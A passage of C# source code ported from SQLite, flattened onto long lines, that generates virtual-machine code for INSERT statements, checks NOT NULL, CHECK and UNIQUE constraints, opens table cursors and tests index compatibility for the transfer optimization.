dest.iParm ); /* yield X */ sqlite3VdbeAddOp2( v, OP_Halt, SQLITE_INTERNAL, OE_Abort ); #if SQLITE_DEBUG VdbeComment( v, "End of SELECT coroutine" ); #endif sqlite3VdbeJumpHere( v, j1 ); /* label B: */ regFromSelect = dest.iMem; Debug.Assert( pSelect.pEList != null ); nColumn = pSelect.pEList.nExpr; Debug.Assert( dest.nMem == nColumn ); /* Set useTempTable to TRUE if the result of the SELECT statement ** should be written into a temporary table (template 4). Set to ** FALSE if each* row of the SELECT can be written directly into ** the destination table (template 3). ** ** A temp table must be used if the table being updated is also one ** of the tables being read by the SELECT statement. Also use a ** temp table in the case of row triggers. */ if ( pTrigger != null || readsTable( pParse, addrSelect, iDb, pTab ) ) { useTempTable = true; } if ( useTempTable ) { /* Invoke the coroutine to extract information from the SELECT ** and add it to a transient table srcTab. The code generated ** here is from the 4th template: ** ** B: open temp table ** L: yield X ** if EOF goto M ** insert row from R..R+n into temp table ** goto L ** M: ... */ int regRec; /* Register to hold packed record */ int regTempRowid; /* Register to hold temp table ROWID */ int addrTop; /* Label "L" */ int addrIf; /* Address of jump to M */ srcTab = pParse.nTab++; regRec = sqlite3GetTempReg( pParse ); regTempRowid = sqlite3GetTempReg( pParse ); sqlite3VdbeAddOp2( v, OP_OpenEphemeral, srcTab, nColumn ); addrTop = sqlite3VdbeAddOp1( v, OP_Yield, dest.iParm ); addrIf = sqlite3VdbeAddOp1( v, OP_If, regEof ); sqlite3VdbeAddOp3( v, OP_MakeRecord, regFromSelect, nColumn, regRec ); sqlite3VdbeAddOp2( v, OP_NewRowid, srcTab, regTempRowid ); sqlite3VdbeAddOp3( v, OP_Insert, srcTab, regRec, regTempRowid ); sqlite3VdbeAddOp2( v, OP_Goto, 0, addrTop ); sqlite3VdbeJumpHere( v, addrIf ); sqlite3ReleaseTempReg( pParse, regRec ); sqlite3ReleaseTempReg( pParse, regTempRowid ); } } else { /* This is the case if the data for the INSERT is coming from a VALUES ** clause */ NameContext sNC; sNC = new NameContext();// memset( &sNC, 0, sNC ).Length; sNC.pParse = pParse; srcTab = -1; Debug.Assert( !useTempTable ); nColumn = pList != null ? pList.nExpr : 0; for ( i = 0 ; i < nColumn ; i++ ) { if ( sqlite3ResolveExprNames( sNC, ref pList.a[i].pExpr ) != 0 ) { goto insert_cleanup; } } } /* Make sure the number of columns in the source data matches the number ** of columns to be inserted into the table. */ if ( IsVirtual( pTab ) ) { for ( i = 0 ; i < pTab.nCol ; i++ ) { nHidden += ( IsHiddenColumn( pTab.aCol[i] ) ? 1 : 0 ); } } if ( pColumn == null && nColumn != 0 && nColumn != ( pTab.nCol - nHidden ) ) { sqlite3ErrorMsg( pParse, "table %S has %d columns but %d values were supplied", pTabList, 0, pTab.nCol - nHidden, nColumn ); goto insert_cleanup; } if ( pColumn != null && nColumn != pColumn.nId ) { sqlite3ErrorMsg( pParse, "%d values for %d columns", nColumn, pColumn.nId ); goto insert_cleanup; } /* If the INSERT statement included an IDLIST term, then make sure ** all elements of the IDLIST really are columns of the table and ** remember the column indices. ** ** If the table has an INTEGER PRIMARY KEY column and that column ** is named in the IDLIST, then record in the keyColumn variable ** the index into IDLIST of the primary key column. keyColumn is ** the index of the primary key as it appears in IDLIST, not as ** is appears in the original table. (The index of the primary ** key in the original table is pTab.iPKey.) */ if ( pColumn != null ) { for ( i = 0 ; i < pColumn.nId ; i++ ) { pColumn.a[i].idx = -1; } for ( i = 0 ; i < pColumn.nId ; i++ ) { for ( j = 0 ; j < pTab.nCol ; j++ ) { if ( sqlite3StrICmp( pColumn.a[i].zName, pTab.aCol[j].zName ) == 0 ) { pColumn.a[i].idx = j; if ( j == pTab.iPKey ) { keyColumn = i; } break; } } if ( j >= pTab.nCol ) { if ( sqlite3IsRowid( pColumn.a[i].zName ) ) { keyColumn = i; } else { sqlite3ErrorMsg( pParse, "table %S has no column named %s", pTabList, 0, pColumn.a[i].zName ); pParse.nErr++; goto insert_cleanup; } } } } /* If there is no IDLIST term but the table has an integer primary ** key, the set the keyColumn variable to the primary key column index ** in the original table definition. */ if ( pColumn == null && nColumn > 0 ) { keyColumn = pTab.iPKey; } /* Open the temp table for FOR EACH ROW triggers */ if ( pTrigger != null ) { sqlite3VdbeAddOp3( v, OP_OpenPseudo, newIdx, 0, pTab.nCol ); } /* Initialize the count of rows to be inserted */ if ( ( db.flags & SQLITE_CountRows ) != 0 ) { regRowCount = ++pParse.nMem; sqlite3VdbeAddOp2( v, OP_Integer, 0, regRowCount ); } /* If this is not a view, open the table and and all indices */ if ( !isView ) { int nIdx; baseCur = pParse.nTab; nIdx = sqlite3OpenTableAndIndices( pParse, pTab, baseCur, OP_OpenWrite ); aRegIdx = new int[nIdx + 1];// sqlite3DbMallocRaw( db, sizeof( int ) * ( nIdx + 1 ) ); if ( aRegIdx == null ) { goto insert_cleanup; } for ( i = 0 ; i < nIdx ; i++ ) { aRegIdx[i] = ++pParse.nMem; } } /* This is the top of the main insertion loop */ if ( useTempTable ) { /* This block codes the top of loop only. The complete loop is the ** following pseudocode (template 4): ** ** rewind temp table ** C: loop over rows of intermediate table ** transfer values form intermediate table into
    ** end loop ** D: ... */ addrInsTop = sqlite3VdbeAddOp1( v, OP_Rewind, srcTab ); addrCont = sqlite3VdbeCurrentAddr( v ); } else if ( pSelect != null ) { /* This block codes the top of loop only. The complete loop is the ** following pseudocode (template 3): ** ** C: yield X ** if EOF goto D ** insert the select result into
    from R..R+n ** goto C ** D: ... */ addrCont = sqlite3VdbeAddOp1( v, OP_Yield, dest.iParm ); addrInsTop = sqlite3VdbeAddOp1( v, OP_If, regEof ); } /* Allocate registers for holding the rowid of the new row, ** the content of the new row, and the assemblied row record. */ regRecord = ++pParse.nMem; regRowid = regIns = pParse.nMem + 1; pParse.nMem += pTab.nCol + 1; if ( IsVirtual( pTab ) ) { regRowid++; pParse.nMem++; } regData = regRowid + 1; /* Run the BEFORE and INSTEAD OF triggers, if there are any */ endOfLoop = sqlite3VdbeMakeLabel( v ); #if !SQLITE_OMIT_TRIGGER if ( ( tmask & TRIGGER_BEFORE ) != 0 ) { int regTrigRowid; int regCols; int regRec; /* build the NEW.* reference row. Note that if there is an INTEGER ** PRIMARY KEY into which a NULL is being inserted, that NULL will be ** translated into a unique ID for the row. But on a BEFORE trigger, ** we do not know what the unique ID will be (because the insert has ** not happened yet) so we substitute a rowid of -1 */ regTrigRowid = sqlite3GetTempReg( pParse ); if ( keyColumn < 0 ) { sqlite3VdbeAddOp2( v, OP_Integer, -1, regTrigRowid ); } else { int j1; if ( useTempTable ) { sqlite3VdbeAddOp3( v, OP_Column, srcTab, keyColumn, regTrigRowid ); } else { Debug.Assert( pSelect == null ); /* Otherwise useTempTable is true */ sqlite3ExprCode( pParse, pList.a[keyColumn].pExpr, regTrigRowid ); } j1 = sqlite3VdbeAddOp1( v, OP_NotNull, regTrigRowid ); sqlite3VdbeAddOp2( v, OP_Integer, -1, regTrigRowid ); sqlite3VdbeJumpHere( v, j1 ); sqlite3VdbeAddOp1( v, OP_MustBeInt, regTrigRowid ); } /* Cannot have triggers on a virtual table. If it were possible, ** this block would have to account for hidden column. */ Debug.Assert( !IsVirtual( pTab ) ); /* Create the new column data */ regCols = sqlite3GetTempRange( pParse, pTab.nCol ); for ( i = 0 ; i < pTab.nCol ; i++ ) { if ( pColumn == null ) { j = i; } else { for ( j = 0 ; j < pColumn.nId ; j++ ) { if ( pColumn.a[j].idx == i ) break; } } if ( pColumn != null && j >= pColumn.nId ) { sqlite3ExprCode( pParse, pTab.aCol[i].pDflt, regCols + i ); } else if ( useTempTable ) { sqlite3VdbeAddOp3( v, OP_Column, srcTab, j, regCols + i ); } else { Debug.Assert( pSelect == null ); /* Otherwise useTempTable is true */ sqlite3ExprCodeAndCache( pParse, pList.a[j].pExpr, regCols + i ); } } regRec = sqlite3GetTempReg( pParse ); sqlite3VdbeAddOp3( v, OP_MakeRecord, regCols, pTab.nCol, regRec ); /* If this is an INSERT on a view with an INSTEAD OF INSERT trigger, ** do not attempt any conversions before assembling the record. ** If this is a real table, attempt conversions as required by the ** table column affinities. */ if ( !isView ) { sqlite3TableAffinityStr( v, pTab ); } sqlite3VdbeAddOp3( v, OP_Insert, newIdx, regRec, regTrigRowid ); sqlite3ReleaseTempReg( pParse, regRec ); sqlite3ReleaseTempReg( pParse, regTrigRowid ); sqlite3ReleaseTempRange( pParse, regCols, pTab.nCol ); /* Fire BEFORE or INSTEAD OF triggers */ u32 Ref0_1 = 0; u32 Ref0_2 = 0; if ( sqlite3CodeRowTrigger( pParse, pTrigger, TK_INSERT, null, TRIGGER_BEFORE, pTab, newIdx, -1, onError, endOfLoop, ref Ref0_1, ref Ref0_2 ) != 0 ) { goto insert_cleanup; } } #endif /* Push the record number for the new entry onto the stack. The ** record number is a randomly generate integer created by NewRowid ** except when the table has an INTEGER PRIMARY KEY column, in which ** case the record number is the same as that column. */ if ( !isView ) { if ( IsVirtual( pTab ) ) { /* The row that the VUpdate opcode will delete: none */ sqlite3VdbeAddOp2( v, OP_Null, 0, regIns ); } if ( keyColumn >= 0 ) { if ( useTempTable ) { sqlite3VdbeAddOp3( v, OP_Column, srcTab, keyColumn, regRowid ); } else if ( pSelect != null ) { sqlite3VdbeAddOp2( v, OP_SCopy, regFromSelect + keyColumn, regRowid ); } else { VdbeOp pOp; sqlite3ExprCode( pParse, pList.a[keyColumn].pExpr, regRowid ); pOp = sqlite3VdbeGetOp( v, -1 ); if ( ALWAYS( pOp != null ) && pOp.opcode == OP_Null && !IsVirtual( pTab ) ) { appendFlag = true; pOp.opcode = OP_NewRowid; pOp.p1 = baseCur; pOp.p2 = regRowid; pOp.p3 = regAutoinc; } } /* If the PRIMARY KEY expression is NULL, then use OP_NewRowid ** to generate a unique primary key value. */ if ( !appendFlag ) { int j1; if ( !IsVirtual( pTab ) ) { j1 = sqlite3VdbeAddOp1( v, OP_NotNull, regRowid ); sqlite3VdbeAddOp3( v, OP_NewRowid, baseCur, regRowid, regAutoinc ); sqlite3VdbeJumpHere( v, j1 ); } else { j1 = sqlite3VdbeCurrentAddr( v ); sqlite3VdbeAddOp2( v, OP_IsNull, regRowid, j1 + 2 ); } sqlite3VdbeAddOp1( v, OP_MustBeInt, regRowid ); } } else if ( IsVirtual( pTab ) ) { sqlite3VdbeAddOp2( v, OP_Null, 0, regRowid ); } else { sqlite3VdbeAddOp3( v, OP_NewRowid, baseCur, regRowid, regAutoinc ); appendFlag = true; } autoIncStep( pParse, regAutoinc, regRowid ); /* Push onto the stack, data for all columns of the new entry, beginning ** with the first column. */ nHidden = 0; for ( i = 0 ; i < pTab.nCol ; i++ ) { int iRegStore = regRowid + 1 + i; if ( i == pTab.iPKey ) { /* The value of the INTEGER PRIMARY KEY column is always a NULL. ** Whenever this column is read, the record number will be substituted ** in its place. So will fill this column with a NULL to avoid ** taking up data space with information that will never be used. */ sqlite3VdbeAddOp2( v, OP_Null, 0, iRegStore ); continue; } if ( pColumn == null ) { if ( IsHiddenColumn( pTab.aCol[i] ) ) { Debug.Assert( IsVirtual( pTab ) ); j = -1; nHidden++; } else { j = i - nHidden; } } else { for ( j = 0 ; j < pColumn.nId ; j++ ) { if ( pColumn.a[j].idx == i ) break; } } if ( j < 0 || nColumn == 0 || ( pColumn != null && j >= pColumn.nId ) ) { sqlite3ExprCode( pParse, pTab.aCol[i].pDflt, iRegStore ); } else if ( useTempTable ) { sqlite3VdbeAddOp3( v, OP_Column, srcTab, j, iRegStore ); } else if ( pSelect != null ) { sqlite3VdbeAddOp2( v, OP_SCopy, regFromSelect + j, iRegStore ); } else { sqlite3ExprCode( pParse, pList.a[j].pExpr, iRegStore ); } } /* Generate code to check constraints and generate index keys and ** do the insertion. */ #if !SQLITE_OMIT_VIRTUALTABLE if( IsVirtual(pTab) ){ const char *pVTab = (const char *)sqlite3GetVTable(db, pTab); sqlite3VtabMakeWritable(pParse, pTab); sqlite3VdbeAddOp4(v, OP_VUpdate, 1, pTab->nCol+2, regIns, pVTab, P4_VTAB); }else #endif { int isReplace = 0; /* Set to true if constraints may cause a replace */ sqlite3GenerateConstraintChecks( pParse, pTab, baseCur, regIns, aRegIdx, keyColumn >= 0, false, onError, endOfLoop, ref isReplace ); sqlite3CompleteInsertion( pParse, pTab, baseCur, regIns, aRegIdx, false, ( tmask & TRIGGER_AFTER ) != 0 ? newIdx : -1, appendFlag, isReplace == 0 ); } } /* Update the count of rows that are inserted */ if ( ( db.flags & SQLITE_CountRows ) != 0 ) { sqlite3VdbeAddOp2( v, OP_AddImm, regRowCount, 1 ); } #if !SQLITE_OMIT_TRIGGER if ( pTrigger != null ) { /* Code AFTER triggers */ u32 Ref0_1 = 0; u32 Ref0_2 = 0; if ( sqlite3CodeRowTrigger( pParse, pTrigger, TK_INSERT, null, TRIGGER_AFTER, pTab, newIdx, -1, onError, endOfLoop, ref Ref0_1, ref Ref0_2 ) != 0 ) { goto insert_cleanup; } } #endif /* The bottom of the main insertion loop, if the data source ** is a SELECT statement. */ sqlite3VdbeResolveLabel( v, endOfLoop ); if ( useTempTable ) { sqlite3VdbeAddOp2( v, OP_Next, srcTab, addrCont ); sqlite3VdbeJumpHere( v, addrInsTop ); sqlite3VdbeAddOp1( v, OP_Close, srcTab ); } else if ( pSelect != null ) { sqlite3VdbeAddOp2( v, OP_Goto, 0, addrCont ); sqlite3VdbeJumpHere( v, addrInsTop ); } if ( !IsVirtual( pTab ) && !isView ) { /* Close all tables opened */ sqlite3VdbeAddOp1( v, OP_Close, baseCur ); for ( idx = 1, pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext, idx++ ) { sqlite3VdbeAddOp1( v, OP_Close, idx + baseCur ); } } insert_end: /* Update the sqlite_sequence table by storing the content of the ** maximum rowid counter values recorded while inserting into ** autoincrement tables. */ if ( pParse.nested == 0 && pParse.trigStack == null ) { sqlite3AutoincrementEnd( pParse ); } /* ** Return the number of rows inserted. If this routine is ** generating code because of a call to sqlite3NestedParse(), do not ** invoke the callback function. */ if ( ( db.flags & SQLITE_CountRows ) != 0 && pParse.nested == 0 && pParse.trigStack == null ) { sqlite3VdbeAddOp2( v, OP_ResultRow, regRowCount, 1 ); sqlite3VdbeSetNumCols( v, 1 ); sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "rows inserted", SQLITE_STATIC ); } insert_cleanup: sqlite3SrcListDelete( db, ref pTabList ); sqlite3ExprListDelete( db, ref pList ); sqlite3SelectDelete( db, ref pSelect ); sqlite3IdListDelete( db, ref pColumn ); //sqlite3DbFree( db, ref aRegIdx ); } /* ** Generate code to do constraint checks prior to an INSERT or an UPDATE. ** ** The input is a range of consecutive registers as follows: ** ** 1. The rowid of the row to be updated before the update. This ** value is omitted unless we are doing an UPDATE that involves a ** change to the record number or writing to a virtual table. ** ** 2. The rowid of the row after the update. ** ** 3. The data in the first column of the entry after the update. ** ** i. Data from middle columns... ** ** N. The data in the last column of the entry after the update. ** ** The regRowid parameter is the index of the register containing (2). ** ** The old rowid shown as entry (1) above is omitted unless both isUpdate ** and rowidChng are 1. isUpdate is true for UPDATEs and false for ** INSERTs. RowidChng means that the new rowid is explicitly specified by ** the update or insert statement. If rowidChng is false, it means that ** the rowid is computed automatically in an insert or that the rowid value ** is not modified by the update. ** ** The code generated by this routine store new index entries into ** registers identified by aRegIdx[]. No index entry is created for ** indices where aRegIdx[i]==0. The order of indices in aRegIdx[] is ** the same as the order of indices on the linked list of indices ** attached to the table. ** ** This routine also generates code to check constraints. NOT NULL, ** CHECK, and UNIQUE constraints are all checked. If a constraint fails, ** then the appropriate action is performed. There are five possible ** actions: ROLLBACK, ABORT, FAIL, REPLACE, and IGNORE. ** ** Constraint type Action What Happens ** --------------- ---------- ---------------------------------------- ** any ROLLBACK The current transaction is rolled back and ** sqlite3_exec() returns immediately with a ** return code of SQLITE_CONSTRAINT. ** ** any ABORT Back out changes from the current command ** only (do not do a complete rollback) then ** cause sqlite3_exec() to return immediately ** with SQLITE_CONSTRAINT. ** ** any FAIL Sqlite_exec() returns immediately with a ** return code of SQLITE_CONSTRAINT. The ** transaction is not rolled back and any ** prior changes are retained. ** ** any IGNORE The record number and data is popped from ** the stack and there is an immediate jump ** to label ignoreDest. ** ** NOT NULL REPLACE The NULL value is replace by the default ** value for that column. If the default value ** is NULL, the action is the same as ABORT. ** ** UNIQUE REPLACE The other row that conflicts with the row ** being inserted is removed. ** ** CHECK REPLACE Illegal. The results in an exception. ** ** Which action to take is determined by the overrideError parameter. ** Or if overrideError==OE_Default, then the pParse.onError parameter ** is used. Or if pParse.onError==OE_Default then the onError value ** for the constraint is used. ** ** The calling routine must open a read/write cursor for pTab with ** cursor number "baseCur". All indices of pTab must also have open ** read/write cursors with cursor number baseCur+i for the i-th cursor. ** Except, if there is no possibility of a REPLACE action then ** cursors do not need to be open for indices where aRegIdx[i]==0. */ static void sqlite3GenerateConstraintChecks( Parse pParse, /* The parser context */ Table pTab, /* the table into which we are inserting */ int baseCur, /* Index of a read/write cursor pointing at pTab */ int regRowid, /* Index of the range of input registers */ int[] aRegIdx, /* Register used by each index. 0 for unused indices */ bool rowidChng, /* True if the rowid might collide with existing entry */ bool isUpdate, /* True for UPDATE, False for INSERT */ int overrideError, /* Override onError to this if not OE_Default */ int ignoreDest, /* Jump to this label on an OE_Ignore resolution */ ref int pbMayReplace /* OUT: Set to true if constraint may cause a replace */ ) { int i; /* loop counter */ Vdbe v; /* VDBE under constrution */ int nCol; /* Number of columns */ int onError; /* Conflict resolution strategy */ int j1; /* Addresss of jump instruction */ int j2 = 0, j3; /* Addresses of jump instructions */ int regData; /* Register containing first data column */ int iCur; /* Table cursor number */ Index pIdx; /* Pointer to one of the indices */ bool seenReplace = false; /* True if REPLACE is used to resolve INT PK conflict */ bool hasTwoRowids = ( isUpdate && rowidChng ); v = sqlite3GetVdbe( pParse ); Debug.Assert( v != null ); Debug.Assert( pTab.pSelect == null ); /* This table is not a VIEW */ nCol = pTab.nCol; regData = regRowid + 1; /* Test all NOT NULL constraints. */ for ( i = 0 ; i < nCol ; i++ ) { if ( i == pTab.iPKey ) { continue; } onError = pTab.aCol[i].notNull; if ( onError == OE_None ) continue; if ( overrideError != OE_Default ) { onError = overrideError; } else if ( onError == OE_Default ) { onError = OE_Abort; } if ( onError == OE_Replace && pTab.aCol[i].pDflt == null ) { onError = OE_Abort; } Debug.Assert( onError == OE_Rollback || onError == OE_Abort || onError == OE_Fail || onError == OE_Ignore || onError == OE_Replace ); switch ( onError ) { case OE_Rollback: case OE_Abort: case OE_Fail: { string zMsg; j1 = sqlite3VdbeAddOp3( v, OP_HaltIfNull, SQLITE_CONSTRAINT, onError, regData + i ); zMsg = sqlite3MPrintf( pParse.db, "%s.%s may not be NULL", pTab.zName, pTab.aCol[i].zName ); sqlite3VdbeChangeP4( v, -1, zMsg, P4_DYNAMIC ); break; } case OE_Ignore: { sqlite3VdbeAddOp2( v, OP_IsNull, regData + i, ignoreDest ); break; } default: { Debug.Assert( onError == OE_Replace ); j1 = sqlite3VdbeAddOp1( v, OP_NotNull, regData + i ); sqlite3ExprCode( pParse, pTab.aCol[i].pDflt, regData + i ); sqlite3VdbeJumpHere( v, j1 ); break; } } } /* Test all CHECK constraints */ #if !SQLITE_OMIT_CHECK if ( pTab.pCheck != null && ( pParse.db.flags & SQLITE_IgnoreChecks ) == 0 ) { int allOk = sqlite3VdbeMakeLabel( v ); pParse.ckBase = regData; sqlite3ExprIfTrue( pParse, pTab.pCheck, allOk, SQLITE_JUMPIFNULL ); onError = overrideError != OE_Default ? overrideError : OE_Abort; if ( onError == OE_Ignore ) { sqlite3VdbeAddOp2( v, OP_Goto, 0, ignoreDest ); } else { sqlite3VdbeAddOp2( v, OP_Halt, SQLITE_CONSTRAINT, onError ); } sqlite3VdbeResolveLabel( v, allOk ); } #endif // * !SQLITE_OMIT_CHECK) */ /* If we have an INTEGER PRIMARY KEY, make sure the primary key ** of the new record does not previously exist. Except, if this ** is an UPDATE and the primary key is not changing, that is OK. */ if ( rowidChng ) { onError = pTab.keyConf; if ( overrideError != OE_Default ) { onError = overrideError; } else if ( onError == OE_Default ) { onError = OE_Abort; } if ( onError != OE_Replace || pTab.pIndex != null ) { if ( isUpdate ) { j2 = sqlite3VdbeAddOp3( v, OP_Eq, regRowid, 0, regRowid - 1 ); } j3 = sqlite3VdbeAddOp3( v, OP_NotExists, baseCur, 0, regRowid ); switch ( onError ) { default: { onError = OE_Abort; /* Fall thru into the next case */ } goto case OE_Rollback; case OE_Rollback: case OE_Abort: case OE_Fail: { sqlite3VdbeAddOp4( v, OP_Halt, SQLITE_CONSTRAINT, onError, 0, "PRIMARY KEY must be unique", P4_STATIC ); break; } case OE_Replace: { sqlite3GenerateRowIndexDelete( pParse, pTab, baseCur, 0 ); seenReplace = true; break; } case OE_Ignore: { Debug.Assert( !seenReplace ); sqlite3VdbeAddOp2( v, OP_Goto, 0, ignoreDest ); break; } } sqlite3VdbeJumpHere( v, j3 ); if ( isUpdate ) { sqlite3VdbeJumpHere( v, j2 ); } } } /* Test all UNIQUE constraints by creating entries for each UNIQUE ** index and making sure that duplicate entries do not already exist. ** Add the new records to the indices as we go. */ for ( iCur = 0, pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext, iCur++ ) { int regIdx; int regR; if ( aRegIdx[iCur] == 0 ) continue; /* Skip unused indices */ /* Create a key for accessing the index entry */ regIdx = sqlite3GetTempRange( pParse, pIdx.nColumn + 1 ); for ( i = 0 ; i < pIdx.nColumn ; i++ ) { int idx = pIdx.aiColumn[i]; if ( idx == pTab.iPKey ) { sqlite3VdbeAddOp2( v, OP_SCopy, regRowid, regIdx + i ); } else { sqlite3VdbeAddOp2( v, OP_SCopy, regData + idx, regIdx + i ); } } sqlite3VdbeAddOp2( v, OP_SCopy, regRowid, regIdx + i ); sqlite3VdbeAddOp3( v, OP_MakeRecord, regIdx, pIdx.nColumn + 1, aRegIdx[iCur] ); sqlite3IndexAffinityStr( v, pIdx ); sqlite3ExprCacheAffinityChange( pParse, regIdx, pIdx.nColumn + 1 ); /* Find out what action to take in case there is an indexing conflict */ onError = pIdx.onError; if ( onError == OE_None ) { sqlite3ReleaseTempRange( pParse, regIdx, pIdx.nColumn + 1 ); continue; /* pIdx is not a UNIQUE index */ } if ( overrideError != OE_Default ) { onError = overrideError; } else if ( onError == OE_Default ) { onError = OE_Abort; } if ( seenReplace ) { if ( onError == OE_Ignore ) onError = OE_Replace; else if ( onError == OE_Fail ) onError = OE_Abort; } /* Check to see if the new index entry will be unique */ regR = sqlite3GetTempReg( pParse ); sqlite3VdbeAddOp2( v, OP_SCopy, regRowid - ( hasTwoRowids ? 1 : 0 ), regR ); j3 = sqlite3VdbeAddOp4( v, OP_IsUnique, baseCur + iCur + 1, 0, regR, regIdx,//regR, SQLITE_INT_TO_PTR(regIdx), P4_INT32 ); sqlite3ReleaseTempRange( pParse, regIdx, pIdx.nColumn + 1 ); /* Generate code that executes if the new index entry is not unique */ Debug.Assert( onError == OE_Rollback || onError == OE_Abort || onError == OE_Fail || onError == OE_Ignore || onError == OE_Replace ); switch ( onError ) { case OE_Rollback: case OE_Abort: case OE_Fail: { int j; StrAccum errMsg = new StrAccum(); string zSep; string zErr; sqlite3StrAccumInit( errMsg, new StringBuilder( 200 ), 0, 200 ); errMsg.db = pParse.db; zSep = pIdx.nColumn > 1 ? "columns " : "column "; for ( j = 0 ; j < pIdx.nColumn ; j++ ) { string zCol = pTab.aCol[pIdx.aiColumn[j]].zName; sqlite3StrAccumAppend( errMsg, zSep, -1 ); zSep = ", "; sqlite3StrAccumAppend( errMsg, zCol, -1 ); } sqlite3StrAccumAppend( errMsg, pIdx.nColumn > 1 ? " are not unique" : " is not unique", -1 ); zErr = sqlite3StrAccumFinish( errMsg ); sqlite3VdbeAddOp4( v, OP_Halt, SQLITE_CONSTRAINT, onError, 0, zErr, 0 ); //sqlite3DbFree( errMsg.db, zErr ); break; } case OE_Ignore: { Debug.Assert( !seenReplace ); sqlite3VdbeAddOp2( v, OP_Goto, 0, ignoreDest ); break; } default: { Debug.Assert( onError == OE_Replace ); sqlite3GenerateRowDelete( pParse, pTab, baseCur, regR, 0 ); seenReplace = true; break; } } sqlite3VdbeJumpHere( v, j3 ); sqlite3ReleaseTempReg( pParse, regR ); } //if ( pbMayReplace ) { pbMayReplace = seenReplace ? 1 : 0; } } /* ** This routine generates code to finish the INSERT or UPDATE operation ** that was started by a prior call to sqlite3GenerateConstraintChecks. ** A consecutive range of registers starting at regRowid contains the ** rowid and the content to be inserted. ** ** The arguments to this routine should be the same as the first six ** arguments to sqlite3GenerateConstraintChecks. */ static void sqlite3CompleteInsertion( Parse pParse, /* The parser context */ Table pTab, /* the table into which we are inserting */ int baseCur, /* Index of a read/write cursor pointing at pTab */ int regRowid, /* Range of content */ int[] aRegIdx, /* Register used by each index. 0 for unused indices */ bool isUpdate, /* True for UPDATE, False for INSERT */ int newIdx, /* Index of NEW table for triggers. -1 if none */ bool appendBias, /* True if this is likely to be an append */ bool useSeekResult /* True to set the USESEEKRESULT flag on OP_[Idx]Insert */ ) { int i; Vdbe v; int nIdx; Index pIdx; u8 pik_flags; int regData; int regRec; v = sqlite3GetVdbe( pParse ); Debug.Assert( v != null ); Debug.Assert( pTab.pSelect == null ); /* This table is not a VIEW */ for ( nIdx = 0, pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext, nIdx++ ) { } for ( i = nIdx - 1 ; i >= 0 ; i-- ) { if ( aRegIdx[i] == 0 ) continue; sqlite3VdbeAddOp2( v, OP_IdxInsert, baseCur + i + 1, aRegIdx[i] ); if ( useSeekResult ) { sqlite3VdbeChangeP5( v, OPFLAG_USESEEKRESULT ); } } regData = regRowid + 1; regRec = sqlite3GetTempReg( pParse ); sqlite3VdbeAddOp3( v, OP_MakeRecord, regData, pTab.nCol, regRec ); sqlite3TableAffinityStr( v, pTab ); sqlite3ExprCacheAffinityChange( pParse, regData, pTab.nCol ); #if !SQLITE_OMIT_TRIGGER if ( newIdx >= 0 ) { sqlite3VdbeAddOp3( v, OP_Insert, newIdx, regRec, regRowid ); } #endif if ( pParse.nested != 0 ) { pik_flags = 0; } else { pik_flags = OPFLAG_NCHANGE; pik_flags |= ( isUpdate ? OPFLAG_ISUPDATE : OPFLAG_LASTROWID ); } if ( appendBias ) { pik_flags |= OPFLAG_APPEND; } if ( useSeekResult ) { pik_flags |= OPFLAG_USESEEKRESULT; } sqlite3VdbeAddOp3( v, OP_Insert, baseCur, regRec, regRowid ); if ( pParse.nested == 0 ) { sqlite3VdbeChangeP4( v, -1, pTab.zName, P4_STATIC ); } sqlite3VdbeChangeP5( v, pik_flags ); } /* ** Generate code that will open cursors for a table and for all ** indices of that table. The "baseCur" parameter is the cursor number used ** for the table. Indices are opened on subsequent cursors. ** ** Return the number of indices on the table. */ static int sqlite3OpenTableAndIndices( Parse pParse, /* Parsing context */ Table pTab, /* Table to be opened */ int baseCur, /* VdbeCursor number assigned to the table */ int op /* OP_OpenRead or OP_OpenWrite */ ) { int i; int iDb; Index pIdx; Vdbe v; if ( IsVirtual( pTab ) ) return 0; iDb = sqlite3SchemaToIndex( pParse.db, pTab.pSchema ); v = sqlite3GetVdbe( pParse ); Debug.Assert( v != null ); sqlite3OpenTable( pParse, baseCur, iDb, pTab, op ); for ( i = 1, pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext, i++ ) { KeyInfo pKey = sqlite3IndexKeyinfo( pParse, pIdx ); Debug.Assert( pIdx.pSchema == pTab.pSchema ); sqlite3VdbeAddOp4( v, op, i + baseCur, pIdx.tnum, iDb, pKey, P4_KEYINFO_HANDOFF ); #if SQLITE_DEBUG VdbeComment( v, "%s", pIdx.zName ); #endif } if ( pParse.nTab < baseCur + i ) { pParse.nTab = baseCur + i; } return i - 1; } #if SQLITE_TEST /* ** The following global variable is incremented whenever the ** transfer optimization is used. This is used for testing ** purposes only - to make sure the transfer optimization really ** is happening when it is suppose to. */ //static int sqlite3_xferopt_count = 0; #endif // * SQLITE_TEST */ #if !SQLITE_OMIT_XFER_OPT /* ** Check to collation names to see if they are compatible. */ static bool xferCompatibleCollation( string z1, string z2 ) { if ( z1 == null ) { return z2 == null; } if ( z2 == null ) { return false; } return sqlite3StrICmp( z1, z2 ) == 0; } /* ** Check to see if index pSrc is compatible as a source of data ** for index pDest in an insert transfer optimization. The rules ** for a compatible index: ** ** * The index is over the same set of columns ** * The same DESC and ASC markings occurs on all columns ** * The same onError processing (OE_Abort, OE_Ignore, etc) ** * The same collating sequence on each column */ static bool xferCompatibleIndex( Index pDest, Index pSrc ) { int i; Debug.Assert( pDest != null && pSrc != null ); Debug.Assert( pDest.pTable != pSrc.pTable ); if ( pDest.nColumn != pSrc.nColumn ) { return false; /* Different number of columns */ } if ( pDest.onError != pSrc.onError ) { return false; /* Different conflict resolution strategies */ } for ( i = 0 ; i < pSrc.nColumn ; i++ ) { if ( pSrc.aiColumn[i] != pDest.aiColumn[i] ) { return false; /* Different columns indexed */ } if ( pSrc.aSortOrder[i] != pDest.aSortOrder[i] ) { return false; /* Different sort orders */ } if ( !xferCompatibleCollation( pSrc.azColl[i], pDest.azColl[i] ) ) { return false; /* Different collating sequences */ } } /* If no test above fails then the indices must be compatible */ return true; } /* ** Attempt the transfer optimization on INSERTs of the form ** ** INSERT INTO tab1 SELECT * FROM tab2; ** ** This optimization is only attempted if ** ** (1) tab1 and tab2 have identical schemas including all the ** same indices and constraints ** ** (2) tab1 and tab2 are different tables ** ** (3) There must be no triggers on tab1 ** ** (4) The result set of the SELECT statement is "*" ** ** (5) The SELECT statement has no WHERE, HAVING, ORDER BY, 